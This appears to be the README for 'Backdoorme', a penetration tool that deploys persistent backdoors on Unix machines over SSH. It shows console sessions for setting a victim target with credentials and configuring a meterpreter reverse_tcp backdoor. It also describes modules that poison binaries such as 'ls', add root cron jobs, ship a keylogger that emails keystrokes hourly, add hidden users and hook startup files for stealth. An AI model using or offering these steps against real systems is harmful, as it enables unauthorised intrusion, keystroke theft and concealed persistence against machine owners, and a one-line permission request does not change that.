BackdoorMe - Powerful Auto-Backdooring Utility



Backdoorme is a powerful utility capable of backdooring Unix machines with a slew of backdoors. Backdoorme uses a familiar metasploit interface with tremendous extensibility.

Backdoorme relies on having an existing SSH connection or credentials to the victim, through which it will transfer and deploy any backdoors. In the future, this reliance will be removed as the tool is expanded. To set up SSH, please see here: https://help.ubuntu.com/community/SSH/OpenSSH/Configuring

Please only use Backdoorme with explicit permission - please don't hack without asking.



Usage

Backdoorme comes with a number of built-in backdoors, modules, and auxiliary modules. Backdoors are specific components to create and deploy a specific backdoor, such as a netcat backdoor or msfvenom backdoor. Modules can be applied to any backdoor, and are used to make backdoors more potent, stealthy, or more readily tripped. Auxiliaries are useful operations that could be performed to help persistence.

To start backdoorme, first ensure that you have the required dependencies.

$ python dependencies.py

Launching backdoorme:

$ python master.py    
 ___           __      __              __  ___
/ _ )___ _____/ /_____/ /__ ___ ____/ |/ /__
/ _ / _ `/ __/ '_/ _ / _ \/ _ \/ __/ /|_/ / -_)
/____/\_,_/\__/_/\_\\_,_/\___/\___/_/ /_/ /_/\__/

Welcome to BackdoorMe, a powerful backdooring utility. Type "help" to see the list of available commands.  Type "addtarget" to set a target, and "open" to open an SSH connection to that target.  Using local IP of 10.1.0.1.  >>  

To add a target:


>> addtarget  Target Hostname: 10.1.0.2  Username: victim  Password: password123   + Target 1 Set!  >>  

Backdoors

To use a backdoor, simply run the "use" keyword.


>> use metasploit   + Using current target 1.   + Using Metasploit backdoor...  (msf) >>  

From there, you can set options pertinent to the backdoor. Run either "show options" or "help" to see a list of parameters that can be configured. To set an option, simply use the "set" keyword.


(msf) >> show options  Backdoor options:    Option      Value       Description     Required  ------      -----       -----------     --------  name        initd       name of the backdoor        False  format      elf     format to write the backdoor to     True  lhost       10.1.0.1        local IP to connect back to     True  encoder     none        encoder to use for the backdoor     False  lport       4444        local port to connect back on       True  payload     linux/x86/meterpreter/reverse_tcp       payload to deploy in backdoor       True  (msf) >> set name apache   + name => apache  (msf) >> show options  Backdoor options:    Option      Value       Description     Required  ------      -----       -----------     --------  name        apache      name of the backdoor        False  ...  

Currently enabled backdoors include:
  • Bash
  • Bash2 (more reliable)
  • Metasploit
  • Netcat
  • Netcat-traditional
  • Perl
  • Php (does not automatically install a web server, but use the web module!)
  • Pupy
  • Python
  • Web (php - not the same backdoor as the above php backdoor)

Modules

Every backdoor has the ability to have additional modules applied to it to make the backdoor more potent. To add a module, simply use the "add" keyword.

(msf) >> add poison + Poison module added  

Each module has additional parameters that can be customized, and if "help" is rerun, you can see or set any additional options.


(msf) >> help  ...  Poison module options:    Option      Value       Description     Required  ------      -----       -----------     --------  name        ls        name of command to poison     False  location /bin       where to put poisoned files into        False  


Currently enabled modules include:
  • Poison
    • Performs bin poisoning on the target computer - it compiles an executable to call a system utility and an existing backdoor.
    • For example, if the bin poisoning module is triggered with "ls", it would would compile and move a binary called "ls" that would run both an existing backdoor and the original "ls", thereby tripping a user to run an existing backdoor more frequently.
  • Cron
    • Adds an existing backdoor to the root user's crontab to run with a given frequency.
  • Web
    • Sets up a web server and places a web page which triggers the backdoor.
    • Simply visit the site with your listener open and the backdoor will begin.
  • Keylogger
    • Ships a keylogger to the target and starts it.
    • Given the option to email the results to you every hour.
  • User
    • Adds a new user to the target.
  • Startup
    • Allows for backdoors to be spawned with the bashrc and init files.

Auxiliaries

In order to have persistence be more potent, some users may wish to install certain services on a target. To apply an auxiliary module, use the "apply" keyword.


>> apply user  + User Auxiliary Module added.  

Auxiliaries also support the use of modules, so they can be triggered more steathily or more often.


>> (user) add startup  + Startup Module added.  

Currently enabled auxiliaries include:
  • User
    • Adds a new user to the target.

Targets

Backdoorme supports multiple different targets concurrently, organized by number when entered. The core maintains one "current" target, to which any new backdoors will default. To switch targets manually, simply add the target number after the command: "use metasploit 2" will prepare the metasploit backdoor against the second target.